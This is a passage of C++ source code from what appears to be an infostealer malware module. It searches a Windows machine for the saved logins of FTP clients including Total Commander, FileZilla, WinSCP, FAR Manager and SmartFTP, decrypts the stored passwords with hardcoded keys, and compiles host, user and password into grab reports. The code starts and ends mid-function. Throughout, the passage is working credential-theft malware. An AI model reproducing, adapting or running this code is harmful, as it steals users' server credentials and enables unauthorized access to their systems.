CSTR_GETW(badSection2, softwaregrabber_tc_section_bad_2); CSTR_GETW(keyHost, softwaregrabber_tc_host); CSTR_GETW(keyUser, softwaregrabber_tc_user); CSTR_GETW(keyPass, softwaregrabber_tc_pass); do if(CWA(shlwapi, StrStrIW)(section, badSection1) == NULL && CWA(shlwapi, StrStrIW)(section, badSection2) == NULL) { if(CWA(kernel32, GetPrivateProfileStringW)(section, keyHost, NULL, host, MAX_ITEM_SIZE, curPath) > 0 && CWA(kernel32, GetPrivateProfileStringW)(section, keyUser, NULL, user, MAX_ITEM_SIZE, curPath) > 0 && CWA(kernel32, GetPrivateProfileStringW)(section, keyPass, NULL, pass, MAX_ITEM_SIZE, curPath) > 0 && ftpTotalCommanderDecrypt(pass) > 0) { CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format2W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; } } while((section = Str::_multiStringGetIndexW(section, 1)) != NULL); Mem::free(dataBuf); } } Mem::free(sectionsList); } } static bool ftpTotalCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpTotalCommanderBasicSearch(curPath, ftpData, true); else ftpTotalCommanderReadIni(curPath, ftpData); } return true; } void _ftpTotalCommander(void) { WCHAR curPath[MAX_PATH]; WCHAR dataPath[MAX_PATH]; DWORD size; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); CSTR_GETW(regKey, softwaregrabber_tc_regkey); CSTR_GETW(regValue, softwaregrabber_tc_regvalue_ftp); if((size = Registry::_getValueAsString(HKEY_CURRENT_USER, regKey, regValue, curPath, MAX_PATH)) != (DWORD)-1 && size > 0) { CWA(kernel32, ExpandEnvironmentStringsW)(curPath, dataPath, MAX_PATH); ftpTotalCommanderReadIni(dataPath, &ftpData); CWA(shlwapi, PathRemoveFileSpecW)(dataPath); } if(ftpData.count == 0) { CSTR_GETW(dir1, softwaregrabber_tc_path_mask_1); CSTR_GETW(dir2, softwaregrabber_tc_path_mask_2); CSTR_GETW(dir3, softwaregrabber_tc_path_mask_3); const DWORD locs[] = {CSIDL_WINDOWS, CSIDL_APPDATA, CSIDL_PROGRAM_FILES, CSIDL_COMMON_APPDATA}; const LPWSTR dirs[] = {dir1, dir2, dir3}; for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) { if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) { if(locs[i] == CSIDL_WINDOWS) { ftpTotalCommanderBasicSearch(curPath, &ftpData, false); curPath[3] = 0; } Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, ftpTotalCommanderProc, &ftpData, NULL, 0, 0); } } } if(ftpData.count == 0) { CSTR_GETW(regKey, softwaregrabber_tc_regkey); CSTR_GETW(regValue, softwaregrabber_tc_regvalue_dir); if((size = Registry::_getValueAsString(HKEY_CURRENT_USER, regKey, regValue, curPath, MAX_PATH)) != (DWORD)-1 && size > 0) { CWA(kernel32, ExpandEnvironmentStringsW)(curPath, dataPath, MAX_PATH); ftpTotalCommanderBasicSearch(dataPath, &ftpData, true); } } if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_tc_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // WS_FTP //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. Return - размер пароля. */ static int ftpWsFtpDecrypt(LPWSTR pass) { //FIXME: Узнать алгоритм. return Str::_LengthW(pass); } bool ftpWsFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. IN recrusive - рекрусивный поиск. */ static void ftpWsFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_wsftp_file_1); const LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, ftpWsFtpProc, ftpData, NULL, 0, 0); } static bool ftpWsFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpWsFtpBasicSearch(curPath, ftpData); else { LPWSTR sectionsList = (LPWSTR)Mem::alloc(0xFFFF * sizeof(WCHAR)); if(sectionsList != NULL) { DWORD size = CWA(kernel32, GetPrivateProfileStringW)(NULL, NULL, NULL, sectionsList, 0xFFFF, curPath); if(size > 0 && Str::_isValidMultiStringW(sectionsList, size + 1)) { const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 20; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; LPWSTR section = sectionsList; DWORD port; CSTR_GETW(badSection, softwaregrabber_wsftp_section_bad_1); CSTR_GETW(keyHost, softwaregrabber_wsftp_host); CSTR_GETW(keyPort, softwaregrabber_wsftp_port); CSTR_GETW(keyUser, softwaregrabber_wsftp_user); CSTR_GETW(keyPass, softwaregrabber_wsftp_pass); do if(CWA(shlwapi, StrStrIW)(section, badSection) == NULL) { if(CWA(kernel32, GetPrivateProfileStringW)(section, keyHost, NULL, host, MAX_ITEM_SIZE, curPath) > 0 && (port = CWA(kernel32, GetPrivateProfileIntW)(section, keyPort, 21, curPath)) > 0 && port <= 0xFFFF && CWA(kernel32, GetPrivateProfileStringW)(section, keyUser, NULL, user, MAX_ITEM_SIZE, curPath) > 0 && CWA(kernel32, GetPrivateProfileStringW)(section, keyPass, NULL, pass, MAX_ITEM_SIZE, curPath) > 0 && ftpWsFtpDecrypt(pass) > 0) { CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host, port); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; } } while((section = Str::_multiStringGetIndexW(section, 1)) != NULL); Mem::free(dataBuf); } } Mem::free(sectionsList); } } } return true; } void _ftpWsFtp(void) { WCHAR curPath[MAX_PATH]; WCHAR dataPath[MAX_PATH]; DWORD size; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); CSTR_GETW(regKey, softwaregrabber_wsftp_regkey); CSTR_GETW(regValue, softwaregrabber_wsftp_regvalue); if((size = Registry::_getValueAsString(HKEY_CURRENT_USER, regKey, regValue, curPath, MAX_PATH)) != (DWORD)-1 && size > 0) { CWA(kernel32, ExpandEnvironmentStringsW)(curPath, dataPath, MAX_PATH); ftpWsFtpBasicSearch(dataPath, &ftpData); } if(ftpData.count == 0) { CSTR_GETW(dir1, softwaregrabber_wsftp_path_mask_1); const DWORD locs[] = {CSIDL_APPDATA, CSIDL_PROGRAM_FILES, CSIDL_COMMON_APPDATA}; const LPWSTR dirs[] = {dir1}; for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) { if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, ftpWsFtpProc, &ftpData, NULL, 0, 0); } } if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_wsftp_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // FileZilla //////////////////////////////////////////////////////////////////////////////////////////////////// bool ftpFileZillaProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. */ static void ftpFileZillaBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_filezilla_file_mask_1); const LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, ftpFileZillaProc, ftpData, NULL, 0, 0); } static bool ftpFileZillaProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpFileZillaBasicSearch(curPath, ftpData); else { IXMLDOMDocument *doc = XmlParser::_openFile(curPath, NULL); if(doc != NULL) { CSTR_GETW(nodeMask, softwaregrabber_filezilla_node_mask); IXMLDOMNodeList *list; if(doc->selectNodes(nodeMask, &list) == S_OK) { IXMLDOMNode *curNode; while(list->nextNode(&curNode) == S_OK) { BSTR host; BSTR port; BSTR user; BSTR pass; { CSTR_GETW(nodeHost, softwaregrabber_filezilla_host); host = XmlParser::_getNodeTextOfNode(curNode, nodeHost); } { CSTR_GETW(nodePort, softwaregrabber_filezilla_port); port = XmlParser::_getNodeTextOfNode(curNode, nodePort); } { CSTR_GETW(nodeUser, softwaregrabber_filezilla_user); user = XmlParser::_getNodeTextOfNode(curNode, nodeUser); } { CSTR_GETW(nodePass, softwaregrabber_filezilla_pass); pass = XmlParser::_getNodeTextOfNode(curNode, nodePass); } if(host != NULL && *host != 0 && user != NULL && *user != 0 && pass != NULL && *pass != 0) { DWORD portInt = port != NULL ? Str::_ToInt32W(port, NULL) : 0; if(portInt < 1 || portInt > 0xFFFF) portInt = 21; LPWSTR output = NULL; CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfExW(&output, reportFormat, user, pass, host, portInt); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; Mem::free(output); } XmlParser::_freeBstr(host); XmlParser::_freeBstr(port); XmlParser::_freeBstr(user); XmlParser::_freeBstr(pass); curNode->Release(); } list->Release(); } doc->Release(); } } } return true; } void _ftpFileZilla(void) { CSTR_GETW(dir1, softwaregrabber_filezilla_path_mask_1); const DWORD locs[] = {CSIDL_PROGRAM_FILES, CSIDL_APPDATA, CSIDL_COMMON_APPDATA}; const LPWSTR dirs[] = {dir1}; WCHAR curPath[MAX_PATH]; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, ftpFileZillaProc, &ftpData, NULL, 0, 0); if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_filezilla_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // FAR Manager //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. Буфер должен иметь размер не менее MAX_ITEM_SIZE. Return - размер пароля. */ static int ftpFarManagerDecrypt(LPWSTR pass) { BYTE epass[MAX_ITEM_SIZE]; Mem::_copy(epass, pass, MAX_ITEM_SIZE); epass[MAX_ITEM_SIZE - 1] = 0; BYTE val = (epass[0] ^ epass[1]) | 0x50; int i = 2, j = 0; for(; epass[i] != 0; i++, j++) pass[j] = epass[i] ^ val; pass[j] = 0; return j; } void _ftpFarManager(void) { const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 10; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { CSTR_GETW(regKey1, softwaregrabber_far_regkey_1); CSTR_GETW(regKey2, softwaregrabber_far_regkey_2); HKEY rootKey; WCHAR name[MAX_PATH]; const LPWSTR locs[] = {regKey1, regKey2}; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); CSTR_GETW(regHost, softwaregrabber_far_host); CSTR_GETW(regUser1, softwaregrabber_far_user_1); CSTR_GETW(regUser2, softwaregrabber_far_user_2); CSTR_GETW(regPass, softwaregrabber_far_pass); LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; for(DWORD i = 0; i < sizeof(locs) / sizeof(LPWSTR); i++) { if(CWA(advapi32, RegOpenKeyExW)(HKEY_CURRENT_USER, locs[i], 0, KEY_ENUMERATE_SUB_KEYS, &rootKey) == ERROR_SUCCESS) { DWORD index = 0; DWORD size = MAX_PATH; while(CWA(advapi32, RegEnumKeyExW)(rootKey, index++, name, &size, 0, NULL, NULL, NULL) == ERROR_SUCCESS) { if((size = Registry::_getValueAsString(rootKey, name, regHost, host, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && ( ((size = Registry::_getValueAsString(rootKey, name, regUser1, user, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0) || ((size = Registry::_getValueAsString(rootKey, name, regUser2, user, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0) ) && (size = Registry::_getValueAsBinary(rootKey, name, regPass, NULL, pass, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && ftpFarManagerDecrypt(pass) > 0) { CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format2W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host); if(outputSize > 0 && Str::_CatExW(&ftpData.list, output, outputSize)) ftpData.count++; } size = MAX_PATH; } CWA(advapi32, RegCloseKey)(rootKey); } } Mem::free(dataBuf); if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_far_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } } //////////////////////////////////////////////////////////////////////////////////////////////////// // WinSCP //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. IN hostAndUserSize - сумма длин пароля и имени. Return - размер пароля. */ static int ftpWinScpDecrypt(LPWSTR pass, int hostAndUserSize) { BYTE buf[MAX_ITEM_SIZE]; int len = Str::_LengthW(pass) / 2; if(len < MAX_ITEM_SIZE && Str::_fromHexW(pass, buf)) { for(int i = 0; i < len; i++) buf[i] ^= 0x5C; LPBYTE pos = buf; BYTE elen; if(buf[0] == 0xFF) { elen = buf[2]; pos += 3; } else { elen = buf[0]; pos += 1; } pos += pos[0] + 1; if(pos + elen <= &buf[len] && elen >= hostAndUserSize) { if(buf[0] == 0xFF) { pos += hostAndUserSize; elen -= hostAndUserSize; } for(int i = 0; i < elen; i++) pass[i] = pos[i]; pass[elen] = 0; return elen; } } return 0; } void _ftpWinScp(void) { FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 20; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { HKEY rootKey; WCHAR name[MAX_PATH]; const HKEY locs[] = {HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE}; LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; CSTR_GETW(regKey, softwaregrabber_winscp_regkey); CSTR_GETW(regHost, softwaregrabber_winscp_host); CSTR_GETW(regPort, softwaregrabber_winscp_port); CSTR_GETW(regUser, softwaregrabber_winscp_user); CSTR_GETW(regPass, softwaregrabber_winscp_pass); for(DWORD i = 0; i < sizeof(locs) / sizeof(HKEY); i++) { if(CWA(advapi32, RegOpenKeyExW)(locs[i], regKey, 0, KEY_ENUMERATE_SUB_KEYS, &rootKey) == ERROR_SUCCESS) { DWORD index = 0; DWORD size = MAX_PATH; DWORD userSize; DWORD hostSize; DWORD port; while(CWA(advapi32, RegEnumKeyExW)(rootKey, index++, name, &size, 0, NULL, NULL, NULL) == ERROR_SUCCESS) { if((hostSize = Registry::_getValueAsString(rootKey, name, regHost, host, MAX_ITEM_SIZE)) != (DWORD)-1 && hostSize > 0 && (userSize = Registry::_getValueAsString(rootKey, name, regUser, user, MAX_ITEM_SIZE)) != (DWORD)-1 && userSize > 0 && (size = Registry::_getValueAsString(rootKey, name, regPass, pass, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && ftpWinScpDecrypt(pass, hostSize + userSize) > 0) { port = Registry::_getValueAsDword(rootKey, name, regPort); if(port < 1 || port > 0xFFFF)port = 21; CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host, port); if(outputSize > 0 && Str::_CatExW(&ftpData.list, output, outputSize)) ftpData.count++; } size = MAX_PATH; } CWA(advapi32, RegCloseKey)(rootKey); } } Mem::free(dataBuf); } //FIXME: winscp.ini if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_winscp_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // FTP Commander //////////////////////////////////////////////////////////////////////////////////////////////////// void ftpFtpCommanderMarkStringEnd(LPSTR string) { LPSTR end = Str::_findCharA(string, ';'); //Т.к. автор клиента идиот, это более менее сохранит данные верными. if(end != NULL) { while(end[1] == ';') end++; *end = 0; } } /* Декруптор пароля. IN OUT pass - пароль. Return - размер пароля. */ static int ftpFtpCommanderDecrypt(LPSTR pass) { //Автор клиента идиот. if((pass[0] == '0' || pass[0] == '1') && pass[1] == 0) return 0; int i = 0; for(; pass[i] != 0; i++) pass[i] ^= 0x19; return i; } bool ftpFtpCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. */ static void ftpFtpCommanderBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_fc_file_1); const LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, ftpFtpCommanderProc, ftpData, NULL, 0, 0); } static bool ftpFtpCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpFtpCommanderBasicSearch(curPath, ftpData); else { Fs::MEMFILE mf; if(Fs::_fileToMem(curPath, &mf, Fs::FTOMF_SHARE_WRITE)) { LPBYTE data = mf.data; LPBYTE dataEnd = data + mf.size; LPSTR *list; DWORD listSize = Str::_splitToStringsA((LPSTR)mf.data, mf.size, &list, Str::STS_TRIM, 0); if(listSize != (DWORD)-1) { const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 20; LPWSTR output = (LPWSTR)Mem::alloc(maxLogSize * sizeof(WCHAR)); CSTR_GETA(valueHost, softwaregrabber_fc_host); CSTR_GETA(valuePort, softwaregrabber_fc_port); CSTR_GETA(valueUser, softwaregrabber_fc_user); CSTR_GETA(valuePass, softwaregrabber_fc_pass); if(output != NULL)for(DWORD i = 0; i < listSize; i++)if(list[i] != NULL) { LPSTR host = CWA(shlwapi, StrStrIA)(list[i], valueHost); LPSTR port = CWA(shlwapi, StrStrIA)(list[i], valuePort); LPSTR user = CWA(shlwapi, StrStrIA)(list[i], valueUser); LPSTR pass = CWA(shlwapi, StrStrIA)(list[i], valuePass); if(host != NULL && user != NULL && pass != NULL) { host += 8; user += 6; pass += 10; ftpFtpCommanderMarkStringEnd(host); ftpFtpCommanderMarkStringEnd(user); ftpFtpCommanderMarkStringEnd(pass); DWORD portNum = 0; if(port != NULL) { port += 6; ftpFtpCommanderMarkStringEnd(port); portNum = Str::_ToInt32A(port, NULL); } if(portNum < 1 || portNum > 0xFFFF) portNum = 21; if(*host != 0 && *user != 0 && *pass != 0 && ftpFtpCommanderDecrypt(pass) > 0) { CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1A); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host, portNum); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; } } } Mem::free(output); Mem::freeArrayOfPointers(list, listSize); } Fs::_closeMemFile(&mf); } } } return true; } void _ftpFtpCommander(void) { CSTR_GETW(dir1, softwaregrabber_fc_path_mask_1); const DWORD locs[] = {CSIDL_PROGRAM_FILES, CSIDL_APPDATA, CSIDL_COMMON_APPDATA}; const LPWSTR dirs[] = {dir1}; WCHAR curPath[MAX_PATH]; FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); for(DWORD i = 0; i < sizeof(locs) / sizeof(DWORD); i++) if(CWA(shell32, SHGetFolderPathW)(NULL, locs[i], NULL, SHGFP_TYPE_CURRENT, curPath) == S_OK) Fs::_findFiles(curPath, dirs, sizeof(dirs) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FOLDERS, ftpFtpCommanderProc, &ftpData, NULL, 0, 0); if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_fc_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } //////////////////////////////////////////////////////////////////////////////////////////////////// // CoreFTP //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. Return - размер пароля. */ static int ftpCoreFtpDecrypt(LPWSTR pass) { //FIXME:AES return Str::_LengthW(pass); } void _ftpCoreFtp(void) { FTPDATA ftpData; Mem::_zero(&ftpData, sizeof(FTPDATA)); const DWORD maxLogSize = MAX_ITEM_SIZE * 3 + 20; LPWSTR dataBuf = (LPWSTR)Mem::alloc(MAX_ITEM_SIZE * 3 * sizeof(WCHAR) + maxLogSize * sizeof(WCHAR)); if(dataBuf != NULL) { HKEY rootKey; WCHAR name[MAX_PATH]; const HKEY locs[] = {HKEY_CURRENT_USER}; LPWSTR host = dataBuf; LPWSTR user = host + MAX_ITEM_SIZE; LPWSTR pass = user + MAX_ITEM_SIZE; LPWSTR output = pass + MAX_ITEM_SIZE; CSTR_GETW(regKey, softwaregrabber_coreftp_regkey); CSTR_GETW(valueHost, softwaregrabber_coreftp_host); CSTR_GETW(valuePort, softwaregrabber_coreftp_port); CSTR_GETW(valueUser, softwaregrabber_coreftp_user); CSTR_GETW(valuePass, softwaregrabber_coreftp_pass); for(DWORD i = 0; i < sizeof(locs) / sizeof(HKEY); i++) { if(CWA(advapi32, RegOpenKeyExW)(locs[i], regKey, 0, KEY_ENUMERATE_SUB_KEYS, &rootKey) == ERROR_SUCCESS) { DWORD index = 0; DWORD size = MAX_PATH; DWORD port; while(CWA(advapi32, RegEnumKeyExW)(rootKey, index++, name, &size, 0, NULL, NULL, NULL) == ERROR_SUCCESS) { if((size = Registry::_getValueAsString(rootKey, name, valueHost, host, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && (size = Registry::_getValueAsString(rootKey, name, valueUser, user, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && (size = Registry::_getValueAsString(rootKey, name, valuePass, pass, MAX_ITEM_SIZE)) != (DWORD)-1 && size > 0 && ftpCoreFtpDecrypt(pass) > 0) { port = Registry::_getValueAsDword(rootKey, name, valuePort); if(port < 1 || port > 0xFFFF) port = 21; CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfW(output, maxLogSize, reportFormat, user, pass, host, port); if(outputSize > 0 && Str::_CatExW(&ftpData.list, output, outputSize)) ftpData.count++; } size = MAX_PATH; } CWA(advapi32, RegCloseKey)(rootKey); } } Mem::free(dataBuf); //FIXME: coreftp.cfg if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_coreftp_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } } //////////////////////////////////////////////////////////////////////////////////////////////////// // SmartFTP //////////////////////////////////////////////////////////////////////////////////////////////////// /* Декруптор пароля. IN OUT pass - пароль. Return - размер пароля. */ static int ftpSmartFtpDecrypt(LPWSTR pass) { const WCHAR hardcode[] = {0xE722, 0xF62F, 0xB67C, 0xDD5A, 0x0FDB, 0xB94E, 0x5196, 0xE040, 0xF694, 0xABE2, 0x21BB, 0xFC08, 0xE48E, 0xB96A, 0x55D7, 0xA6E5, 0xA4A1, 0x2172, 0x822D, 0x29EC, 0x57E4, 0x1458, 0x04D1, 0x9DC1, 0x7020, 0xFC6A, 0xED8F, 0xEFBA, 0x8E88, 0xD689, 0xD18E, 0x8740, 0xA6DE, 0x8e01, 0x3AC2, 0x6871, 0xEE11, 0x8C2A, 0x5FC1, 0x337F, 0x6D32, 0xD471, 0x7DC9, 0x0cD9, 0x5071, 0xA094, 0x1605, 0x6FD7, 0x3638, 0x4FFD, 0xB3B2, 0x9717, 0xBECA, 0x721C, 0x623F, 0x068F, 0x698F, 0x7FFF, 0xE29C, 0x27E8, 0x7189, 0x4939, 0xDB4E, 0xC3FD, 0x8F8B, 0xF4EE, 0x9395, 0x6B1A, 0xD1B1, 0x0F6A, 0x4D8B, 0xA696, 0xA79D, 0xBB9E, 0x00DF, 0x093C, 0x856F, 0xB51C, 0xF1C5, 0xE83D, 0x393A, 0x03D1, 0x68D8, 0x9659, 0xF791, 0xB2C2, 0x0234, 0x9B5C, 0xB1BF, 0x72EB, 0xDABA, 0xF1C5, 0xDA01, 0xF047, 0x3DD8, 0x72AB, 0x784C, 0x0077, 0xB05F, 0xA245, 0x1794, 0x16D9, 0xC6C6, 0xFFA2, 0xF099, 0x3D88, 0xA624, 0xDE3D, 0xD35B, 0x82B3, 0x7E9C, 0xF406, 0x1608, 0x07AA, 0xF97E, 0x373A, 0xC441, 0x15B0, 0xB699, 0xF81C, 0xE38F, 0xCB97}; WCHAR buf[sizeof(hardcode) / sizeof(WCHAR) + 1/*safebyte*/]; int len = Str::_LengthW(pass) / 4; if(len < (sizeof(buf) / sizeof(WCHAR)) && Str::_fromHexW(pass, buf)) { for(int i = 0; i < len; i++) { WORD sw = SWAP_WORD(buf[i]); sw ^= hardcode[i]; pass[i] = SWAP_WORD(sw); } pass[len] = 0; return len; } return 0; } bool ftpSmartFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* Стандартный поиск. IN path - путь. IN OUT ftpData - данные поиска. */ static void ftpSmartFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_smartftp_file_mask_1); const LPWSTR files[] = {file1}; Fs::_findFiles(path, files, sizeof(files) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, ftpSmartFtpProc, ftpData, NULL, 0, 0); } static bool ftpSmartFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { FTPDATA *ftpData = (FTPDATA *)data; WCHAR curPath[MAX_PATH]; if(Fs::_pathCombine(curPath, path, (LPWSTR)fileInfo->cFileName)) { WDEBUG("%s", curPath); if(fileInfo->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ftpSmartFtpBasicSearch(curPath, ftpData); else { IXMLDOMDocument *doc = XmlParser::_openFile(curPath, NULL); if(doc != NULL) { IXMLDOMElement *root; if(doc->get_documentElement(&root) == S_OK) { BSTR rootName; if(root->get_nodeName(&rootName) == S_OK) { if(CSTR_EQW(rootName, softwaregrabber_smartftp_node)) { BSTR host; BSTR port; BSTR user; BSTR pass; { CSTR_GETW(nodeHost, softwaregrabber_smartftp_host); host = XmlParser::_getNodeTextOfElement(root, nodeHost); } { CSTR_GETW(nodePort, softwaregrabber_smartftp_port); port = XmlParser::_getNodeTextOfElement(root, nodePort); } { CSTR_GETW(nodeUser, softwaregrabber_smartftp_user); user = XmlParser::_getNodeTextOfElement(root, nodeUser); } { CSTR_GETW(nodePass, softwaregrabber_smartftp_pass); pass = XmlParser::_getNodeTextOfElement(root, nodePass); } if(host != NULL && *host != 0 && user != NULL && *user != 0 && pass != NULL && ftpSmartFtpDecrypt(pass) > 0) { DWORD portInt = port != NULL ? Str::_ToInt32W(port, NULL) : 0; if(portInt < 1 || portInt > 0xFFFF) portInt = 21; LPWSTR output = NULL; CSTR_GETW(reportFormat, softwaregrabber_ftp_report_format1W); int outputSize = Str::_sprintfExW(&output, reportFormat, user, pass, host, portInt); if(outputSize > 0 && Str::_CatExW(&ftpData->list, output, outputSize)) ftpData->count++; Mem::free(output); } XmlParser::_freeBstr(host); XmlParser::_freeBstr(port); XmlParser::_freeBstr(user); 